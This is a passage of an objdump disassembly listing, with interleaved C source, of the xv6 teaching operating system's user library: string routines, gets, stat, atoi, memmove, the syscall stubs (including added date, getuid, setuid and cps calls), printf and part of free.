35e: 89 c8 mov %ecx,%eax
360: 5b pop %ebx
361: 5d pop %ebp
362: c3 ret
363: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
36a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000370 <strcmp>:
int
strcmp(const char *p, const char *q)
{
370: 55 push %ebp
371: 89 e5 mov %esp,%ebp
373: 53 push %ebx
374: 8b 4d 08 mov 0x8(%ebp),%ecx
377: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
37a: 0f b6 01 movzbl (%ecx),%eax
37d: 0f b6 1a movzbl (%edx),%ebx
380: 84 c0 test %al,%al
382: 75 1d jne 3a1 <strcmp+0x31>
384: eb 2a jmp 3b0 <strcmp+0x40>
386: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
38d: 8d 76 00 lea 0x0(%esi),%esi
390: 0f b6 41 01 movzbl 0x1(%ecx),%eax
p++, q++;
394: 83 c1 01 add $0x1,%ecx
397: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
39a: 0f b6 1a movzbl (%edx),%ebx
39d: 84 c0 test %al,%al
39f: 74 0f je 3b0 <strcmp+0x40>
3a1: 38 d8 cmp %bl,%al
3a3: 74 eb je 390 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
3a5: 29 d8 sub %ebx,%eax
}
3a7: 5b pop %ebx
3a8: 5d pop %ebp
3a9: c3 ret
3aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
3b0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
3b2: 29 d8 sub %ebx,%eax
}
3b4: 5b pop %ebx
3b5: 5d pop %ebp
3b6: c3 ret
3b7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
3be: 66 90 xchg %ax,%ax
000003c0 <strlen>:
uint
strlen(char *s)
{
3c0: 55 push %ebp
3c1: 89 e5 mov %esp,%ebp
3c3: 8b 55 08 mov 0x8(%ebp),%edx
int n;
for(n = 0; s[n]; n++)
3c6: 80 3a 00 cmpb $0x0,(%edx)
3c9: 74 15 je 3e0 <strlen+0x20>
3cb: 31 c0 xor %eax,%eax
3cd: 8d 76 00 lea 0x0(%esi),%esi
3d0: 83 c0 01 add $0x1,%eax
3d3: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
3d7: 89 c1 mov %eax,%ecx
3d9: 75 f5 jne 3d0 <strlen+0x10>
;
return n;
}
3db: 89 c8 mov %ecx,%eax
3dd: 5d pop %ebp
3de: c3 ret
3df: 90 nop
for(n = 0; s[n]; n++)
3e0: 31 c9 xor %ecx,%ecx
}
3e2: 5d pop %ebp
3e3: 89 c8 mov %ecx,%eax
3e5: c3 ret
3e6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
3ed: 8d 76 00 lea 0x0(%esi),%esi
000003f0 <memset>:
void*
memset(void *dst, int c, uint n)
{
3f0: 55 push %ebp
3f1: 89 e5 mov %esp,%ebp
3f3: 57 push %edi
3f4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
3f7: 8b 4d 10 mov 0x10(%ebp),%ecx
3fa: 8b 45 0c mov 0xc(%ebp),%eax
3fd: 89 d7 mov %edx,%edi
3ff: fc cld
400: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
402: 89 d0 mov %edx,%eax
404: 5f pop %edi
405: 5d pop %ebp
406: c3 ret
407: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
40e: 66 90 xchg %ax,%ax
00000410 <strchr>:
char*
strchr(const char *s, char c)
{
410: 55 push %ebp
411: 89 e5 mov %esp,%ebp
413: 8b 45 08 mov 0x8(%ebp),%eax
416: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
41a: 0f b6 10 movzbl (%eax),%edx
41d: 84 d2 test %dl,%dl
41f: 75 12 jne 433 <strchr+0x23>
421: eb 1d jmp 440 <strchr+0x30>
423: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
427: 90 nop
428: 0f b6 50 01 movzbl 0x1(%eax),%edx
42c: 83 c0 01 add $0x1,%eax
42f: 84 d2 test %dl,%dl
431: 74 0d je 440 <strchr+0x30>
if(*s == c)
433: 38 d1 cmp %dl,%cl
435: 75 f1 jne 428 <strchr+0x18>
return (char*)s;
return 0;
}
437: 5d pop %ebp
438: c3 ret
439: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
440: 31 c0 xor %eax,%eax
}
442: 5d pop %ebp
443: c3 ret
444: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
44b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
44f: 90 nop
00000450 <gets>:
char*
gets(char *buf, int max)
{
450: 55 push %ebp
451: 89 e5 mov %esp,%ebp
453: 57 push %edi
454: 56 push %esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
455: 31 f6 xor %esi,%esi
{
457: 53 push %ebx
458: 89 f3 mov %esi,%ebx
45a: 83 ec 1c sub $0x1c,%esp
45d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
460: eb 2f jmp 491 <gets+0x41>
462: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
468: 83 ec 04 sub $0x4,%esp
46b: 8d 45 e7 lea -0x19(%ebp),%eax
46e: 6a 01 push $0x1
470: 50 push %eax
471: 6a 00 push $0x0
473: e8 33 01 00 00 call 5ab <read>
if(cc < 1)
478: 83 c4 10 add $0x10,%esp
47b: 85 c0 test %eax,%eax
47d: 7e 1c jle 49b <gets+0x4b>
break;
buf[i++] = c;
47f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
483: 83 c7 01 add $0x1,%edi
486: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
489: 3c 0a cmp $0xa,%al
48b: 74 23 je 4b0 <gets+0x60>
48d: 3c 0d cmp $0xd,%al
48f: 74 1f je 4b0 <gets+0x60>
for(i=0; i+1 < max; ){
491: 83 c3 01 add $0x1,%ebx
494: 89 fe mov %edi,%esi
496: 3b 5d 0c cmp 0xc(%ebp),%ebx
499: 7c cd jl 468 <gets+0x18>
49b: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
49d: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
4a0: c6 03 00 movb $0x0,(%ebx)
}
4a3: 8d 65 f4 lea -0xc(%ebp),%esp
4a6: 5b pop %ebx
4a7: 5e pop %esi
4a8: 5f pop %edi
4a9: 5d pop %ebp
4aa: c3 ret
4ab: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
4af: 90 nop
4b0: 8b 75 08 mov 0x8(%ebp),%esi
4b3: 8b 45 08 mov 0x8(%ebp),%eax
4b6: 01 de add %ebx,%esi
4b8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
4ba: c6 03 00 movb $0x0,(%ebx)
}
4bd: 8d 65 f4 lea -0xc(%ebp),%esp
4c0: 5b pop %ebx
4c1: 5e pop %esi
4c2: 5f pop %edi
4c3: 5d pop %ebp
4c4: c3 ret
4c5: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
4cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000004d0 <stat>:
int
stat(char *n, struct stat *st)
{
4d0: 55 push %ebp
4d1: 89 e5 mov %esp,%ebp
4d3: 56 push %esi
4d4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
4d5: 83 ec 08 sub $0x8,%esp
4d8: 6a 00 push $0x0
4da: ff 75 08 pushl 0x8(%ebp)
4dd: e8 f1 00 00 00 call 5d3 <open>
if(fd < 0)
4e2: 83 c4 10 add $0x10,%esp
4e5: 85 c0 test %eax,%eax
4e7: 78 27 js 510 <stat+0x40>
return -1;
r = fstat(fd, st);
4e9: 83 ec 08 sub $0x8,%esp
4ec: ff 75 0c pushl 0xc(%ebp)
4ef: 89 c3 mov %eax,%ebx
4f1: 50 push %eax
4f2: e8 f4 00 00 00 call 5eb <fstat>
close(fd);
4f7: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
4fa: 89 c6 mov %eax,%esi
close(fd);
4fc: e8 ba 00 00 00 call 5bb <close>
return r;
501: 83 c4 10 add $0x10,%esp
}
504: 8d 65 f8 lea -0x8(%ebp),%esp
507: 89 f0 mov %esi,%eax
509: 5b pop %ebx
50a: 5e pop %esi
50b: 5d pop %ebp
50c: c3 ret
50d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
510: be ff ff ff ff mov $0xffffffff,%esi
515: eb ed jmp 504 <stat+0x34>
517: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
51e: 66 90 xchg %ax,%ax
00000520 <atoi>:
int
atoi(const char *s)
{
520: 55 push %ebp
521: 89 e5 mov %esp,%ebp
523: 53 push %ebx
524: 8b 55 08 mov 0x8(%ebp),%edx
int n;
n = 0;
while('0' <= *s && *s <= '9')
527: 0f be 02 movsbl (%edx),%eax
52a: 8d 48 d0 lea -0x30(%eax),%ecx
52d: 80 f9 09 cmp $0x9,%cl
n = 0;
530: b9 00 00 00 00 mov $0x0,%ecx
while('0' <= *s && *s <= '9')
535: 77 1e ja 555 <atoi+0x35>
537: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
53e: 66 90 xchg %ax,%ax
n = n*10 + *s++ - '0';
540: 83 c2 01 add $0x1,%edx
543: 8d 0c 89 lea (%ecx,%ecx,4),%ecx
546: 8d 4c 48 d0 lea -0x30(%eax,%ecx,2),%ecx
while('0' <= *s && *s <= '9')
54a: 0f be 02 movsbl (%edx),%eax
54d: 8d 58 d0 lea -0x30(%eax),%ebx
550: 80 fb 09 cmp $0x9,%bl
553: 76 eb jbe 540 <atoi+0x20>
return n;
}
555: 89 c8 mov %ecx,%eax
557: 5b pop %ebx
558: 5d pop %ebp
559: c3 ret
55a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000560 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
560: 55 push %ebp
561: 89 e5 mov %esp,%ebp
563: 57 push %edi
564: 8b 45 10 mov 0x10(%ebp),%eax
567: 8b 55 08 mov 0x8(%ebp),%edx
56a: 56 push %esi
56b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
56e: 85 c0 test %eax,%eax
570: 7e 13 jle 585 <memmove+0x25>
572: 01 d0 add %edx,%eax
dst = vdst;
574: 89 d7 mov %edx,%edi
576: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
57d: 8d 76 00 lea 0x0(%esi),%esi
*dst++ = *src++;
580: a4 movsb %ds:(%esi),%es:(%edi)
while(n-- > 0)
581: 39 f8 cmp %edi,%eax
583: 75 fb jne 580 <memmove+0x20>
return vdst;
}
585: 5e pop %esi
586: 89 d0 mov %edx,%eax
588: 5f pop %edi
589: 5d pop %ebp
58a: c3 ret
0000058b <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
58b: b8 01 00 00 00 mov $0x1,%eax
590: cd 40 int $0x40
592: c3 ret
00000593 <exit>:
SYSCALL(exit)
593: b8 02 00 00 00 mov $0x2,%eax
598: cd 40 int $0x40
59a: c3 ret
0000059b <wait>:
SYSCALL(wait)
59b: b8 03 00 00 00 mov $0x3,%eax
5a0: cd 40 int $0x40
5a2: c3 ret
000005a3 <pipe>:
SYSCALL(pipe)
5a3: b8 04 00 00 00 mov $0x4,%eax
5a8: cd 40 int $0x40
5aa: c3 ret
000005ab <read>:
SYSCALL(read)
5ab: b8 05 00 00 00 mov $0x5,%eax
5b0: cd 40 int $0x40
5b2: c3 ret
000005b3 <write>:
SYSCALL(write)
5b3: b8 10 00 00 00 mov $0x10,%eax
5b8: cd 40 int $0x40
5ba: c3 ret
000005bb <close>:
SYSCALL(close)
5bb: b8 15 00 00 00 mov $0x15,%eax
5c0: cd 40 int $0x40
5c2: c3 ret
000005c3 <kill>:
SYSCALL(kill)
5c3: b8 06 00 00 00 mov $0x6,%eax
5c8: cd 40 int $0x40
5ca: c3 ret
000005cb <exec>:
SYSCALL(exec)
5cb: b8 07 00 00 00 mov $0x7,%eax
5d0: cd 40 int $0x40
5d2: c3 ret
000005d3 <open>:
SYSCALL(open)
5d3: b8 0f 00 00 00 mov $0xf,%eax
5d8: cd 40 int $0x40
5da: c3 ret
000005db <mknod>:
SYSCALL(mknod)
5db: b8 11 00 00 00 mov $0x11,%eax
5e0: cd 40 int $0x40
5e2: c3 ret
000005e3 <unlink>:
SYSCALL(unlink)
5e3: b8 12 00 00 00 mov $0x12,%eax
5e8: cd 40 int $0x40
5ea: c3 ret
000005eb <fstat>:
SYSCALL(fstat)
5eb: b8 08 00 00 00 mov $0x8,%eax
5f0: cd 40 int $0x40
5f2: c3 ret
000005f3 <link>:
SYSCALL(link)
5f3: b8 13 00 00 00 mov $0x13,%eax
5f8: cd 40 int $0x40
5fa: c3 ret
000005fb <mkdir>:
SYSCALL(mkdir)
5fb: b8 14 00 00 00 mov $0x14,%eax
600: cd 40 int $0x40
602: c3 ret
00000603 <chdir>:
SYSCALL(chdir)
603: b8 09 00 00 00 mov $0x9,%eax
608: cd 40 int $0x40
60a: c3 ret
0000060b <dup>:
SYSCALL(dup)
60b: b8 0a 00 00 00 mov $0xa,%eax
610: cd 40 int $0x40
612: c3 ret
00000613 <getpid>:
SYSCALL(getpid)
613: b8 0b 00 00 00 mov $0xb,%eax
618: cd 40 int $0x40
61a: c3 ret
0000061b <sbrk>:
SYSCALL(sbrk)
61b: b8 0c 00 00 00 mov $0xc,%eax
620: cd 40 int $0x40
622: c3 ret
00000623 <sleep>:
SYSCALL(sleep)
623: b8 0d 00 00 00 mov $0xd,%eax
628: cd 40 int $0x40
62a: c3 ret
0000062b <uptime>:
SYSCALL(uptime)
62b: b8 0e 00 00 00 mov $0xe,%eax
630: cd 40 int $0x40
632: c3 ret
00000633 <date>:
SYSCALL(date) // date system call added for part 1
633: b8 16 00 00 00 mov $0x16,%eax
638: cd 40 int $0x40
63a: c3 ret
0000063b <getuid>:
SYSCALL(getuid) //Gets the UID of a process
63b: b8 17 00 00 00 mov $0x17,%eax
640: cd 40 int $0x40
642: c3 ret
00000643 <getgid>:
SYSCALL(getgid) //Gets the GID of a process
643: b8 18 00 00 00 mov $0x18,%eax
648: cd 40 int $0x40
64a: c3 ret
0000064b <getppid>:
SYSCALL(getppid) //Gets the PPID of a process
64b: b8 19 00 00 00 mov $0x19,%eax
650: cd 40 int $0x40
652: c3 ret
00000653 <setuid>:
SYSCALL(setuid) //Sets a new UID for a process
653: b8 1a 00 00 00 mov $0x1a,%eax
658: cd 40 int $0x40
65a: c3 ret
0000065b <setgid>:
SYSCALL(setgid) //Sets a new GID for a process
65b: b8 1b 00 00 00 mov $0x1b,%eax
660: cd 40 int $0x40
662: c3 ret
00000663 <cps>:
SYSCALL(cps)
663: b8 1c 00 00 00 mov $0x1c,%eax
668: cd 40 int $0x40
66a: c3 ret
66b: 66 90 xchg %ax,%ax
66d: 66 90 xchg %ax,%ax
66f: 90 nop
00000670 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
670: 55 push %ebp
671: 89 e5 mov %esp,%ebp
673: 57 push %edi
674: 56 push %esi
675: 53 push %ebx
676: 83 ec 3c sub $0x3c,%esp
679: 89 4d c4 mov %ecx,-0x3c(%ebp)
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
67c: 89 d1 mov %edx,%ecx
{
67e: 89 45 b8 mov %eax,-0x48(%ebp)
if(sgn && xx < 0){
681: 85 d2 test %edx,%edx
683: 0f 89 7f 00 00 00 jns 708 <printint+0x98>
689: f6 45 08 01 testb $0x1,0x8(%ebp)
68d: 74 79 je 708 <printint+0x98>
neg = 1;
68f: c7 45 bc 01 00 00 00 movl $0x1,-0x44(%ebp)
x = -xx;
696: f7 d9 neg %ecx
} else {
x = xx;
}
i = 0;
698: 31 db xor %ebx,%ebx
69a: 8d 75 d7 lea -0x29(%ebp),%esi
69d: 8d 76 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
6a0: 89 c8 mov %ecx,%eax
6a2: 31 d2 xor %edx,%edx
6a4: 89 cf mov %ecx,%edi
6a6: f7 75 c4 divl -0x3c(%ebp)
6a9: 0f b6 92 dc 0a 00 00 movzbl 0xadc(%edx),%edx
6b0: 89 45 c0 mov %eax,-0x40(%ebp)
6b3: 89 d8 mov %ebx,%eax
6b5: 8d 5b 01 lea 0x1(%ebx),%ebx
}while((x /= base) != 0);
6b8: 8b 4d c0 mov -0x40(%ebp),%ecx
buf[i++] = digits[x % base];
6bb: 88 14 1e mov %dl,(%esi,%ebx,1)
}while((x /= base) != 0);
6be: 39 7d c4 cmp %edi,-0x3c(%ebp)
6c1: 76 dd jbe 6a0 <printint+0x30>
if(neg)
6c3: 8b 4d bc mov -0x44(%ebp),%ecx
6c6: 85 c9 test %ecx,%ecx
6c8: 74 0c je 6d6 <printint+0x66>
buf[i++] = '-';
6ca: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1)
buf[i++] = digits[x % base];
6cf: 89 d8 mov %ebx,%eax
buf[i++] = '-';
6d1: ba 2d 00 00 00 mov $0x2d,%edx
while(--i >= 0)
6d6: 8b 7d b8 mov -0x48(%ebp),%edi
6d9: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx
6dd: eb 07 jmp 6e6 <printint+0x76>
6df: 90 nop
6e0: 0f b6 13 movzbl (%ebx),%edx
6e3: 83 eb 01 sub $0x1,%ebx
write(fd, &c, 1);
6e6: 83 ec 04 sub $0x4,%esp
6e9: 88 55 d7 mov %dl,-0x29(%ebp)
6ec: 6a 01 push $0x1
6ee: 56 push %esi
6ef: 57 push %edi
6f0: e8 be fe ff ff call 5b3 <write>
while(--i >= 0)
6f5: 83 c4 10 add $0x10,%esp
6f8: 39 de cmp %ebx,%esi
6fa: 75 e4 jne 6e0 <printint+0x70>
putc(fd, buf[i]);
}
6fc: 8d 65 f4 lea -0xc(%ebp),%esp
6ff: 5b pop %ebx
700: 5e pop %esi
701: 5f pop %edi
702: 5d pop %ebp
703: c3 ret
704: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
708: c7 45 bc 00 00 00 00 movl $0x0,-0x44(%ebp)
70f: eb 87 jmp 698 <printint+0x28>
711: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
718: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
71f: 90 nop
00000720 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
720: 55 push %ebp
721: 89 e5 mov %esp,%ebp
723: 57 push %edi
724: 56 push %esi
725: 53 push %ebx
726: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
729: 8b 75 0c mov 0xc(%ebp),%esi
72c: 0f b6 1e movzbl (%esi),%ebx
72f: 84 db test %bl,%bl
731: 0f 84 b8 00 00 00 je 7ef <printf+0xcf>
ap = (uint*)(void*)&fmt + 1;
737: 8d 45 10 lea 0x10(%ebp),%eax
73a: 83 c6 01 add $0x1,%esi
write(fd, &c, 1);
73d: 8d 7d e7 lea -0x19(%ebp),%edi
state = 0;
740: 31 d2 xor %edx,%edx
ap = (uint*)(void*)&fmt + 1;
742: 89 45 d0 mov %eax,-0x30(%ebp)
745: eb 37 jmp 77e <printf+0x5e>
747: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
74e: 66 90 xchg %ax,%ax
750: 89 55 d4 mov %edx,-0x2c(%ebp)
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
753: ba 25 00 00 00 mov $0x25,%edx
if(c == '%'){
758: 83 f8 25 cmp $0x25,%eax
75b: 74 17 je 774 <printf+0x54>
write(fd, &c, 1);
75d: 83 ec 04 sub $0x4,%esp
760: 88 5d e7 mov %bl,-0x19(%ebp)
763: 6a 01 push $0x1
765: 57 push %edi
766: ff 75 08 pushl 0x8(%ebp)
769: e8 45 fe ff ff call 5b3 <write>
76e: 8b 55 d4 mov -0x2c(%ebp),%edx
} else {
putc(fd, c);
771: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
774: 0f b6 1e movzbl (%esi),%ebx
777: 83 c6 01 add $0x1,%esi
77a: 84 db test %bl,%bl
77c: 74 71 je 7ef <printf+0xcf>
c = fmt[i] & 0xff;
77e: 0f be cb movsbl %bl,%ecx
781: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
784: 85 d2 test %edx,%edx
786: 74 c8 je 750 <printf+0x30>
}
} else if(state == '%'){
788: 83 fa 25 cmp $0x25,%edx
78b: 75 e7 jne 774 <printf+0x54>
if(c == 'd'){
78d: 83 f8 64 cmp $0x64,%eax
790: 0f 84 9a 00 00 00 je 830 <printf+0x110>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
796: 81 e1 f7 00 00 00 and $0xf7,%ecx
79c: 83 f9 70 cmp $0x70,%ecx
79f: 74 5f je 800 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
7a1: 83 f8 73 cmp $0x73,%eax
7a4: 0f 84 d6 00 00 00 je 880 <printf+0x160>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
7aa: 83 f8 63 cmp $0x63,%eax
7ad: 0f 84 8d 00 00 00 je 840 <printf+0x120>
putc(fd, *ap);
ap++;
} else if(c == '%'){
7b3: 83 f8 25 cmp $0x25,%eax
7b6: 0f 84 b4 00 00 00 je 870 <printf+0x150>
write(fd, &c, 1);
7bc: 83 ec 04 sub $0x4,%esp
7bf: c6 45 e7 25 movb $0x25,-0x19(%ebp)
7c3: 6a 01 push $0x1
7c5: 57 push %edi
7c6: ff 75 08 pushl 0x8(%ebp)
7c9: e8 e5 fd ff ff call 5b3 <write>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
7ce: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
7d1: 83 c4 0c add $0xc,%esp
7d4: 6a 01 push $0x1
7d6: 83 c6 01 add $0x1,%esi
7d9: 57 push %edi
7da: ff 75 08 pushl 0x8(%ebp)
7dd: e8 d1 fd ff ff call 5b3 <write>
for(i = 0; fmt[i]; i++){
7e2: 0f b6 5e ff movzbl -0x1(%esi),%ebx
putc(fd, c);
7e6: 83 c4 10 add $0x10,%esp
}
state = 0;
7e9: 31 d2 xor %edx,%edx
for(i = 0; fmt[i]; i++){
7eb: 84 db test %bl,%bl
7ed: 75 8f jne 77e <printf+0x5e>
}
}
}
7ef: 8d 65 f4 lea -0xc(%ebp),%esp
7f2: 5b pop %ebx
7f3: 5e pop %esi
7f4: 5f pop %edi
7f5: 5d pop %ebp
7f6: c3 ret
7f7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
7fe: 66 90 xchg %ax,%ax
printint(fd, *ap, 16, 0);
800: 83 ec 0c sub $0xc,%esp
803: b9 10 00 00 00 mov $0x10,%ecx
808: 6a 00 push $0x0
80a: 8b 5d d0 mov -0x30(%ebp),%ebx
80d: 8b 45 08 mov 0x8(%ebp),%eax
810: 8b 13 mov (%ebx),%edx
812: e8 59 fe ff ff call 670 <printint>
ap++;
817: 89 d8 mov %ebx,%eax
819: 83 c4 10 add $0x10,%esp
state = 0;
81c: 31 d2 xor %edx,%edx
ap++;
81e: 83 c0 04 add $0x4,%eax
821: 89 45 d0 mov %eax,-0x30(%ebp)
824: e9 4b ff ff ff jmp 774 <printf+0x54>
829: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printint(fd, *ap, 10, 1);
830: 83 ec 0c sub $0xc,%esp
833: b9 0a 00 00 00 mov $0xa,%ecx
838: 6a 01 push $0x1
83a: eb ce jmp 80a <printf+0xea>
83c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
putc(fd, *ap);
840: 8b 5d d0 mov -0x30(%ebp),%ebx
write(fd, &c, 1);
843: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
846: 8b 03 mov (%ebx),%eax
write(fd, &c, 1);
848: 6a 01 push $0x1
ap++;
84a: 83 c3 04 add $0x4,%ebx
write(fd, &c, 1);
84d: 57 push %edi
84e: ff 75 08 pushl 0x8(%ebp)
putc(fd, *ap);
851: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
854: e8 5a fd ff ff call 5b3 <write>
ap++;
859: 89 5d d0 mov %ebx,-0x30(%ebp)
85c: 83 c4 10 add $0x10,%esp
state = 0;
85f: 31 d2 xor %edx,%edx
861: e9 0e ff ff ff jmp 774 <printf+0x54>
866: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
86d: 8d 76 00 lea 0x0(%esi),%esi
putc(fd, c);
870: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
873: 83 ec 04 sub $0x4,%esp
876: e9 59 ff ff ff jmp 7d4 <printf+0xb4>
87b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
87f: 90 nop
s = (char*)*ap;
880: 8b 45 d0 mov -0x30(%ebp),%eax
883: 8b 18 mov (%eax),%ebx
ap++;
885: 83 c0 04 add $0x4,%eax
888: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
88b: 85 db test %ebx,%ebx
88d: 74 17 je 8a6 <printf+0x186>
while(*s != 0){
88f: 0f b6 03 movzbl (%ebx),%eax
state = 0;
892: 31 d2 xor %edx,%edx
while(*s != 0){
894: 84 c0 test %al,%al
896: 0f 84 d8 fe ff ff je 774 <printf+0x54>
89c: 89 75 d4 mov %esi,-0x2c(%ebp)
89f: 89 de mov %ebx,%esi
8a1: 8b 5d 08 mov 0x8(%ebp),%ebx
8a4: eb 1a jmp 8c0 <printf+0x1a0>
s = "(null)";
8a6: bb d2 0a 00 00 mov $0xad2,%ebx
while(*s != 0){
8ab: 89 75 d4 mov %esi,-0x2c(%ebp)
8ae: b8 28 00 00 00 mov $0x28,%eax
8b3: 89 de mov %ebx,%esi
8b5: 8b 5d 08 mov 0x8(%ebp),%ebx
8b8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
8bf: 90 nop
write(fd, &c, 1);
8c0: 83 ec 04 sub $0x4,%esp
s++;
8c3: 83 c6 01 add $0x1,%esi
8c6: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
8c9: 6a 01 push $0x1
8cb: 57 push %edi
8cc: 53 push %ebx
8cd: e8 e1 fc ff ff call 5b3 <write>
while(*s != 0){
8d2: 0f b6 06 movzbl (%esi),%eax
8d5: 83 c4 10 add $0x10,%esp
8d8: 84 c0 test %al,%al
8da: 75 e4 jne 8c0 <printf+0x1a0>
8dc: 8b 75 d4 mov -0x2c(%ebp),%esi
state = 0;
8df: 31 d2 xor %edx,%edx
8e1: e9 8e fe ff ff jmp 774 <printf+0x54>
8e6: 66 90 xchg %ax,%ax
8e8: 66 90 xchg %ax,%ax
8ea: 66 90 xchg %ax,%ax
8ec: 66 90 xchg %ax,%ax
8ee: 66 90 xchg %ax,%ax
000008f0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
8f0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8f1: a1 14 0e 00 00 mov 0xe14,%eax
{
8f6: 89 e5 mov %esp,%ebp
8f8: 57 push %edi
8f9: 56 push %esi
8fa: 53 push %ebx
8fb: 8b 5d 08 mov 0x8(%ebp),%ebx
8fe: 8b 10 mov (%eax),%edx
bp = (Header*)ap - 1;
900: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
903: 39 c8 cmp %ecx,%eax
905: 73 19 jae 920 <free+0x30>
907: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
90e: 66 90 xchg %ax,%ax
910: 39 d1 cmp %edx,%ecx
912: 72 14 jb 928 <free+0x38>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
914: 39 d0 cmp %edx,%eax
916: 73 10 jae 928 <free+0x38>
{
918: 89 d0 mov %edx,%eax
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
91a: 8b 10 mov (%eax),%edx
91c: 39 c8 cmp %ecx,%eax
91e: 72 f0 jb 910 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
920: 39 d0 cmp %edx,%eax
922: 72 f4 jb 918 <free+0x28>
924: 39 d1 cmp %edx,%ecx
926: 73 f0 jae 918 <free+0x28>
break;
if(bp + bp->s.size == p->s.ptr){
928: 8b 73 fc mov -0x4(%ebx),%esi
92b: 8d 3c f1 lea (%ecx,%esi,8),%edi
92e: 39 fa cmp %edi,%edx
930: 74 1e je 950 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
932: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
935: 8b 50 04 mov 0x4(%eax),%edx
938: 8d 34 d0 lea (%eax,%edx,8),%esi
